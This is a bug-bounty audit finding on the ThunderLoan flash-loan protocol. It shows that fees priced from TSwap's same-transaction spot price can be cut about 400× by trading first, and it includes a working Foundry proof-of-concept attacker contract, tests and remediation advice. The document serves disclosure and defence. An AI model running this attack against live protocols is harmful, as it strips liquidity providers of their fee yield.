ThunderLoan prices every flash-loan fee from TSwap's instantaneous T/WETH reserve spot. OracleUpgradeable.getPriceInWeth resolves IPoolFactory.getPool(token) and then calls ITSwapPool.getPriceOfOnePoolTokenInWeth() with no TWAP, heartbeat, staleness check, or same-block lock. Official TSwapPool implements that getter as getOutputAmountBasedOnInput(1e18, tokenReserves, wethReserves) — a same-transaction constant-product quote anyone can move by trading first in the same tx.
ThunderLoan.getCalculatedFee then does:
The fee is 0.3% of the WETH-denominated value of the borrow, paid in the borrowed token. Crashing P_T/WETH therefore crashes the T-denominated repayment one-for-one. There is no max(fee, amount * 0.3%) floor.
flashloan stores that manipulated fee in a local, immediately commits it via AssetToken.updateExchangeRate(fee), and uses startingBalance + fee as the only ThunderLoan__NotPaidBack target. AssetToken's ExhangeRateCanOnlyIncrease check only requires fee >= ceil(totalSupply / s_exchangeRate) (~1e6 wei at 1e6e18 supply / 1e18 rate). It does not restore a 0.3% yield.
The in-repo MockTSwapPool hardcodes 1e18 and hides this entire class of bug. A TSwap-faithful pool does not. The same getCalculatedFee path exists on ThunderLoanUpgraded, so the planned upgrade does not fix it.
Confirmed by executed Foundry test test_sameTxTSwapDumpCollapsesFlashloanFeeBelowHonest03Pct (forge test, both cases passed). No production guard stops this. Any unprivileged contract can do it; owner/upgrade roles are not required.
Liquidity providers deposit T and receive AssetToken shares. Their only yield is the flash-loan fee, applied to the exchange rate before the loan is sent out.
initialize sets s_flashLoanFee = 3e15 (0.3%) and s_feePrecision = 1e18. flashloan then:
Snapshots startingBalance = token.balanceOf(assetToken).
Computes fee = getCalculatedFee(token, amount).
Commits assetToken.updateExchangeRate(fee) before the callback.
Transfers amount to the receiver and calls executeOperation.
Requires endingBalance >= startingBalance + fee or reverts ThunderLoan__NotPaidBack.
That fee is both the protocol's entire LP yield and the only repayment target.
Production TSwapPool quotes one pool token against current reserves (including TSwap's 0.3% swap fee). Anyone who can trade the T/WETH pool in the same transaction as flashloan sets ThunderLoan's price.
ThunderLoanUpgraded.getCalculatedFee is identical (FEE_PRECISION instead of s_feePrecision). There is no token-denominated floor, so a 400× crash in P_T/WETH is a 400× crash in the T the borrower must return.
This only needs fee >= ceil(S / R). A dust fee of 6.77e18 still increments the rate and does not revert, so LPs lock in almost no yield.
getCalculatedFee can never move in the shipped tests. Against a reserve-faithful TSwap pool the fee is fully attacker-controlled.
TSwap's 0.3% fee quote on a 10e18 / 10e18 book is:
Honest: P0 ≈ 0.9066e18. After swapExactInput(T, 200e18) reserves become ≈ 210e18 T / 0.478e18 WETH and P_manip ≈ 2.26e15. Because ThunderLoan reads that spot after the swap in the same tx, the flash-loan fee collapses from ~2,720 T to ~6.77 T.
Actor. Any unprivileged contract (code.length > 0). Needs a modest T inventory (200e18) — or an external flash loan of T — to dump into the T/WETH pool, plus ~7e18 T to repay the dust fee. No owner, no token hooks. T is any allowed non-WETH ERC-20 whose factory pool exists.
Preconditions.
Owner called setAllowedToken(T, true), creating AssetToken A.
An LP deposited 1_000_000e18 T (T.balanceOf(A) = B, A.totalSupply() > 0).
initialize(poolFactory) points at a live TSwap T/WETH pool (T ≠ WETH, getPool(T) ≠ 0) seeded here with 10e18 T / 10e18 WETH.
Attacker contract C is funded with 200e18 + ~20e18 T.
Honest quote on that book:
P0 ≈ 0.9066e18
honestFee = getCalculatedFee(T, 1_000_000e18) = 2719832681640447393000 (~2,719.83 T)
Single-transaction attack.
C.approve(tswapPool, 200e18).
TSwapPool.swapExactInput(T, 200e18, WETH, 0, deadline).
Reserves ≈ 210e18 T / 0.478e18 WETH.
P_manip ≈ 2.26e15 (T in WETH crashed ~400×).
C → ThunderLoan.flashloan(C, T, 1_000_000e18, "") through the ERC1967/UUPS proxy.
Inside flashloan:
startingBalance = B.
fee = getCalculatedFee(T, amount) now reads P_manip → fee = 6769606971557178000 (~6.77 T).
A.updateExchangeRate(fee_manip) commits the dust increment (1002719832681640447 → 1002726620700810287).
s_currentlyFlashLoaning[T] = true.
A.transferUnderlyingTo(C, amount).
executeOperation: C.approve(ThunderLoan, amount + fee_manip) then ThunderLoan.repay(T, amount + fee_manip).
Resume: endingBalance == startingBalance + fee_manip, so ThunderLoan__NotPaidBack does not fire. s_currentlyFlashLoaning[T] = false.
Optional unwind: swap WETH back for T. Committed fee and s_exchangeRate stay at the manipulated values.
Sketch of the attacker:
Observed end state (Foundry, both cases passed):
| Quantity | Honest | After same-tx dump |
|---|---|---|
| P_T/WETH | ≈ 0.9066e18 | ≈ 2.26e15 |
| Flash-loan fee | 2,719.83 T (2.719e21) | 6.77 T (6.770e18) |
| T.balanceOf(A) | B + 2719832681640447393000 | B + 6769606971557178000 |
| s_exchangeRate | ~0.3% bump on the full pool | 1002719832681640447 → 1002726620700810287 |
Shortfall ≈ 2.713e21 T of LP fee (~2,713 T). AMM round-trip on this thin book costs ~1–2 T, so the attack is strongly +EV. Assert fee < honestFee / 100, T.balanceOf(A) == startingBalance + fee_manip, and A.getExchangeRate() far below R * (S + honestFee) / S.
Severity: High. Flash-loan fees are ThunderLoan's only LP yield. A permissionless same-tx trade evades ~99.75% of that yield on the full pool (2,713 T saved vs ~1–2 T of AMM cost). LPs accrue almost nothing; s_exchangeRate barely moves. The borrower walks with a successful 1,000,000e18 T flash loan after paying dust.
Secondary effects:
The same oracle is used by deposit() on the current implementation (updateExchangeRate(getCalculatedFee(...))), so a dump also shrinks (or, in the opposite direction, inflates) deposit-side exchange-rate updates.
Collapsing the flash-loan fee shrinks the extra T an attacker must bring for a repay-via-deposit drain, because NotPaidBack only demands startingBalance + fee_manip.
ThunderLoanUpgraded.getCalculatedFee has the same oracle dependency; the planned upgrade does not close the hole.
Assumptions (standard for production): initialize(poolFactory) points at a live TSwap T/WETH pool whose getPriceOfOnePoolTokenInWeth is the reserve spot; A.totalSupply() > 0. Owner/upgrade roles are not required.
Stop using a same-transaction AMM spot as an oracle. Feed getCalculatedFee from a manipulation-resistant source: a Uniswap-style TWAP over several minutes, a Chainlink (or equivalent) price feed with heartbeat and staleness checks, or an internally recorded observation that cannot be written and consumed in the same block.
Floor the token-denominated fee. Even with a better oracle, charge at least amount * s_flashLoanFee / s_feePrecision (0.3% of principal in T). The WETH conversion must not be allowed to drive repayment below that floor.
**Do not treat AssetToken__ExhangeRateCanOnlyIncrease as a fee floor.** That check is a 1-wei rounding guard, not a 0.3% yield guarantee. If a minimum protocol fee is required, enforce it in getCalculatedFee / flashloan before calling updateExchangeRate.
**Replace MockTSwapPool's hardcoded 1e18** with a TSwap-faithful reserve-spot implementation so this class of bug cannot hide in unit tests.
Apply the same changes to ThunderLoanUpgraded.getCalculatedFee before the planned upgrade.
diff --git a/test/mocks/TSwapFaithfulPool.sol b/test/mocks/TSwapFaithfulPool.sol
new file mode 100644
index 0000000..3edcf8b
--- /dev/null
+++ b/test/mocks/TSwapFaithfulPool.sol
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+/// @notice TSwap-faithful constant-product pool used by the oracle-manipulation PoC.
+/// @dev Official TSwapPool.getPriceOfOnePoolTokenInWeth() is
+/// getOutputAmountBasedOnInput(1e18, tokenReserves, wethReserves) — a same-tx
+/// reserve spot with no TWAP, heartbeat, or same-block lock. The in-repo
+/// MockTSwapPool hardcodes 1e18 and hides this path.
+contract TSwapFaithfulPool {
error TSwapFaithfulPool__DeadlineHasPassed(uint64 deadline);
error TSwapFaithfulPool__MustBeMoreThanZero();
error TSwapFaithfulPool__OutputTooLow(uint256 actual, uint256 min);
error TSwapFaithfulPool__InvalidToken();
+
IERC20 public immutable poolToken;
IERC20 public immutable wethToken;
+
constructor(address poolToken*, address wethToken*) {
poolToken = IERC20(poolToken_);
wethToken = IERC20(wethToken_);
}
+
function getOutputAmountBasedOnInput(
uint256 inputAmount,
uint256 inputReserves,
uint256 outputReserves
)
public
pure
returns (uint256 outputAmount)
{
if (inputAmount == 0 || outputReserves == 0) {
revert TSwapFaithfulPool__MustBeMoreThanZero();
}
uint256 inputAmountMinusFee = inputAmount * 997;
uint256 numerator = inputAmountMinusFee * outputReserves;
uint256 denominator = (inputReserves * 1000) + inputAmountMinusFee;
return numerator / denominator;
}
+
/// @dev Same implementation as official TSwapPool.getPriceOfOnePoolTokenInWeth.
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {
return getOutputAmountBasedOnInput(
1e18, poolToken.balanceOf(address(this)), wethToken.balanceOf(address(this))
);
}
+
function swapExactInput(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 minOutputAmount,
uint64 deadline
)
external
returns (uint256 output)
{
if (inputAmount == 0) {
revert TSwapFaithfulPool__MustBeMoreThanZero();
}
if (deadline < uint64(block.timestamp)) {
revert TSwapFaithfulPool__DeadlineHasPassed(deadline);
}
if (
(inputToken != poolToken && inputToken != wethToken)
|| (outputToken != poolToken && outputToken != wethToken) || inputToken == outputToken
) {
revert TSwapFaithfulPool__InvalidToken();
}
+
uint256 inputReserves = inputToken.balanceOf(address(this));
uint256 outputReserves = outputToken.balanceOf(address(this));
output = getOutputAmountBasedOnInput(inputAmount, inputReserves, outputReserves);
if (output < minOutputAmount) {
revert TSwapFaithfulPool__OutputTooLow(output, minOutputAmount);
}
+
inputToken.transferFrom(msg.sender, address(this), inputAmount);
outputToken.transfer(msg.sender, output);
}
+}
+
+contract TSwapFaithfulPoolFactory {
error TSwapFaithfulPoolFactory__PoolAlreadyExists(address tokenAddress);
+
mapping(address token => address pool) private s_pools;
address public immutable wethToken;
+
constructor(address wethToken_) {
wethToken = wethToken_;
}
+
function createPool(address tokenAddress) external returns (address) {
if (s_pools[tokenAddress] != address(0)) {
revert TSwapFaithfulPoolFactory__PoolAlreadyExists(tokenAddress);
}
TSwapFaithfulPool pool = new TSwapFaithfulPool(tokenAddress, wethToken);
s_pools[tokenAddress] = address(pool);
return address(pool);
}
+
function getPool(address tokenAddress) external view returns (address) {
return s_pools[tokenAddress];
}
+}
diff --git a/test/unit/TSwapSpotOracleFeeManipulation.t.sol b/test/unit/TSwapSpotOracleFeeManipulation.t.sol
new file mode 100644
index 0000000..c718140
--- /dev/null
+++ b/test/unit/TSwapSpotOracleFeeManipulation.t.sol
@@ -0,0 +1,237 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.20;
+
+/**
* @title PoC: same-tx TSwap dump collapses ThunderLoan flash-loan fee
* @notice Bug bounty PoC for tswap-spot-oracle-fee-manipulation.
*
* Attacker model
* --------------
* Any unprivileged contract (code.length > 0). No owner, upgrade, or token-hook
* privileges. The attacker controls:
* - a modest T inventory (200e18) to dump into the T/WETH TSwap book, and
* - ~7e18 T to repay the dust fee (or an external flash loan of T).
*
* Impact
* ------
* ThunderLoan.getCalculatedFee multiplies the borrow amount by the TSwap
* reserve spot (OracleUpgradeable.getPriceInWeth →
* ITSwapPool.getPriceOfOnePoolTokenInWeth) then by s_flashLoanFee=3e15/1e18.
* Official TSwap pricing is getOutputAmountBasedOnInput(1e18, tokenReserves,
* wethReserves) — a same-tx spot with no TWAP, heartbeat, or same-block lock.
* The in-repo MockTSwapPool hardcodes 1e18 and hides this.
*
* Dumping 200e18 T into a 10e18/10e18 pool drops the quoted price from
* ~0.9066e18 to ~2.26e15. A 1000000e18 T flash loan then snapshots
* fee ≈ 6.77e18 instead of the honest 0.3% fee ≈ 2.72e21. LPs accrue
* almost nothing; the attacker saves ~2.713e21 T (~99.75% of the only LP yield).
*
* Reproduce
* ---------
* forge test --match-test test_sameTxTSwapDumpCollapsesFlashloanFee -vv
*/
+
+import { Test, console } from "forge-std/Test.sol";
+import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
+import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
+import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
+import { AssetToken } from "../../src/protocol/AssetToken.sol";
+import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
+import { TSwapFaithfulPool, TSwapFaithfulPoolFactory } from "../mocks/TSwapFaithfulPool.sol";
+
+interface IThunderLoanFlash {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function repay(IERC20 token, uint256 amount) external;
+}
+
+contract OracleDumpFlashloanAttacker is IFlashLoanReceiver {
IThunderLoanFlash public immutable thunderLoan;
IERC20 public immutable tokenT;
IERC20 public immutable weth;
TSwapFaithfulPool public immutable tswapPool;
+
uint256 public lastFee;
uint256 public lastAmount;
+
constructor(address thunderLoan*, IERC20 tokenT*, IERC20 weth*, TSwapFaithfulPool tswapPool*) {
thunderLoan = IThunderLoanFlash(thunderLoan_);
tokenT = tokenT_;
weth = weth_;
tswapPool = tswapPool_;
}
+
/// @dev Same transaction: dump T into TSwap (crash the spot) then flash-loan T.
function attack(uint256 dumpAmount, uint256 borrowAmount) external {
tokenT.approve(address(tswapPool), dumpAmount);
tswapPool.swapExactInput(tokenT, dumpAmount, weth, 0, uint64(block.timestamp));
thunderLoan.flashloan(address(this), tokenT, borrowAmount, "");
}
+
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address, /* initiator */
bytes calldata /* params */
)
external
returns (bool)
{
lastAmount = amount;
lastFee = fee;
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.repay(IERC20(token), amount + fee);
return true;
}
+}
+
+contract TSwapSpotOracleFeeManipulationTest is Test {
uint256 internal constant POOL_RESERVE = 10e18;
uint256 internal constant LPDEPOSIT = 1000_000e18;
uint256 internal constant DUMP_AMOUNT = 200e18;
uint256 internal constant BORROWAMOUNT = 1000_000e18;
uint256 internal constant ATTACKERTBUDGET = 220e18;
+
// Exact values produced by official TSwap integer math on a 10e18/10e18 book.
uint256 internal constant HONESTPRICE = 906610893880149131;
uint256 internal constant HONESTFEE = 2719832681640447393000;
uint256 internal constant MANIPFEE = 6769606971557178_000;
uint256 internal constant RATEAFTERDEPOSIT = 1002719832681640447;
uint256 internal constant RATEAFTERMANIPFLASH = 1002726620700810_287;
+
ERC20Mock internal tokenT;
ERC20Mock internal weth;
TSwapFaithfulPoolFactory internal factory;
TSwapFaithfulPool internal tswapPool;
ThunderLoan internal thunderLoan;
AssetToken internal assetToken;
address internal liquidityProvider = address(0xBEEF);
+
function setUp() public {
tokenT = new ERC20Mock();
weth = new ERC20Mock();
+
factory = new TSwapFaithfulPoolFactory(address(weth));
tswapPool = TSwapFaithfulPool(factory.createPool(address(tokenT)));
+
// Thin T/WETH TSwap book: 10e18 T + 10e18 WETH.
tokenT.mint(address(tswapPool), POOL_RESERVE);
weth.mint(address(tswapPool), POOL_RESERVE);
+
ThunderLoan implementation = new ThunderLoan();
thunderLoan = ThunderLoan(address(new ERC1967Proxy(address(implementation), "")));
thunderLoan.initialize(address(factory));
+
assetToken = thunderLoan.setAllowedToken(tokenT, true);
+
tokenT.mint(liquidityProvider, LP_DEPOSIT);
vm.startPrank(liquidityProvider);
tokenT.approve(address(thunderLoan), LP_DEPOSIT);
thunderLoan.deposit(tokenT, LP_DEPOSIT);
vm.stopPrank();
}
+
function test_sameTxTSwapDumpCollapsesFlashloanFeeBelowHonest03Pct() public {
uint256 honestPrice = thunderLoan.getPriceInWeth(address(tokenT));
uint256 honestFee = thunderLoan.getCalculatedFee(tokenT, BORROW_AMOUNT);
uint256 startingBalance = tokenT.balanceOf(address(assetToken));
uint256 rateAfterDeposit = assetToken.getExchangeRate();
+
assertEq(honestPrice, HONEST_PRICE, "honest TSwap spot != getOutputAmountBasedOnInput(1e18, 10e18, 10e18)");
assertEq(honestFee, HONESTFEE, "honest 0.3% fee on 1000_000e18 T");
assertEq(startingBalance, LP_DEPOSIT, "AssetToken holds the LP deposit");
assertEq(rateAfterDeposit, RATEAFTERDEPOSIT, "deposit already applied the honest fee to the exchange rate");
+
OracleDumpFlashloanAttacker attacker =
new OracleDumpFlashloanAttacker(address(thunderLoan), tokenT, weth, tswapPool);
tokenT.mint(address(attacker), ATTACKERTBUDGET);
+
// Same tx: dump 200e18 T into TSwap, then flash-loan the full pool.
attacker.attack(DUMPAMOUNT, BORROWAMOUNT);
+
uint256 manipFee = attacker.lastFee();
uint256 endingBalance = tokenT.balanceOf(address(assetToken));
uint256 rateAfterFlash = assetToken.getExchangeRate();
uint256 honestEndingBalance = startingBalance + honestFee;
uint256 honestRateAfterFlash =
rateAfterDeposit * (assetToken.totalSupply() + honestFee) / assetToken.totalSupply();
uint256 feeShortfall = honestFee - manipFee;
+
console.log("honest TSwap spot (wei WETH / 1 T) :", honestPrice);
console.log("manip TSwap spot (wei WETH / 1 T) :", thunderLoan.getPriceInWeth(address(tokenT)));
console.log("honest flash-loan fee (T wei) :", honestFee);
console.log("manip flash-loan fee (T wei) :", manipFee);
console.log("fee shortfall (T wei) :", feeShortfall);
console.log("AssetToken T after repay :", endingBalance);
console.log("AssetToken T if honest 0.3% fee :", honestEndingBalance);
console.log("exchangeRate after deposit :", rateAfterDeposit);
console.log("exchangeRate after manip flashloan :", rateAfterFlash);
console.log("exchangeRate if honest 0.3% fee :", honestRateAfterFlash);
+
// Flash loan succeeded and repaid only the dust fee, not the 0.3% fee.
assertEq(attacker.lastAmount(), BORROW_AMOUNT, "borrowed the full pool");
assertEq(manipFee, MANIP_FEE, "snapshotted fee after swapExactInput(T, 200e18)");
assertLt(manipFee, honestFee / 100, "manipulated fee is < 1% of the honest 0.3% fee");
assertEq(endingBalance, startingBalance + manipFee, "AssetToken ended at startingBalance + fee_manip");
assertTrue(endingBalance != honestEndingBalance, "AssetToken did not receive the honest fee");
assertEq(endingBalance + feeShortfall, honestEndingBalance, "shortfall is honestFee - fee_manip");
+
// LPs accrue almost nothing: rate ticks by dust, not the honest ~0.3% bump.
assertEq(rateAfterFlash, RATEAFTERMANIP_FLASH, "exchange rate committed the dust increment");
assertLt(rateAfterFlash, honestRateAfterFlash, "exchange rate far below R*(S+honestFee)/S");
assertGt(feeShortfall, 2_713e18, "LPs lost ~2713 T of yield (~99.75% of the only LP fee)");
+
// No production guard: flash loan is not currently open; attacker is just an outsider.
assertFalse(thunderLoan.isCurrentlyFlashLoaning(tokenT));
assertEq(thunderLoan.owner(), address(this), "attacker was not the owner");
}
+
function test_sameTxTSwapDumpCollapsesFlashloanFeeOnUpgraded() public {
// Fresh upgraded instance (do not upgrade in place: storage layout of
// sfeePrecision vs sflashLoanFee is a separate issue).
tokenT = new ERC20Mock();
weth = new ERC20Mock();
factory = new TSwapFaithfulPoolFactory(address(weth));
tswapPool = TSwapFaithfulPool(factory.createPool(address(tokenT)));
tokenT.mint(address(tswapPool), POOL_RESERVE);
weth.mint(address(tswapPool), POOL_RESERVE);
+
ThunderLoanUpgraded implementation = new ThunderLoanUpgraded();
ThunderLoanUpgraded upgraded = ThunderLoanUpgraded(address(new ERC1967Proxy(address(implementation), "")));
upgraded.initialize(address(factory));
AssetToken upgradedAsset = upgraded.setAllowedToken(tokenT, true);
+
tokenT.mint(liquidityProvider, LP_DEPOSIT);
vm.startPrank(liquidityProvider);
tokenT.approve(address(upgraded), LP_DEPOSIT);
upgraded.deposit(tokenT, LP_DEPOSIT);
vm.stopPrank();
+
uint256 honestFee = upgraded.getCalculatedFee(tokenT, BORROW_AMOUNT);
uint256 startingBalance = tokenT.balanceOf(address(upgradedAsset));
uint256 rateBefore = upgradedAsset.getExchangeRate();
+
OracleDumpFlashloanAttacker attacker =
new OracleDumpFlashloanAttacker(address(upgraded), tokenT, weth, tswapPool);
tokenT.mint(address(attacker), ATTACKERTBUDGET);
attacker.attack(DUMPAMOUNT, BORROWAMOUNT);
+
uint256 manipFee = attacker.lastFee();
uint256 endingBalance = tokenT.balanceOf(address(upgradedAsset));
uint256 rateAfter = upgradedAsset.getExchangeRate();
uint256 honestRateAfter = rateBefore * (upgradedAsset.totalSupply() + honestFee) / upgradedAsset.totalSupply();
+
console.log("upgraded honest fee :", honestFee);
console.log("upgraded manip fee :", manipFee);
console.log("upgraded shortfall :", honestFee - manipFee);
+
assertEq(honestFee, HONEST_FEE, "upgraded getCalculatedFee uses the same TSwap spot");
assertEq(manipFee, MANIP_FEE, "same-tx dump collapses the upgraded fee identically");
assertLt(manipFee, honestFee / 100);
assertEq(endingBalance, startingBalance + manipFee);
assertLt(rateAfter, honestRateAfter);
}
+}
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.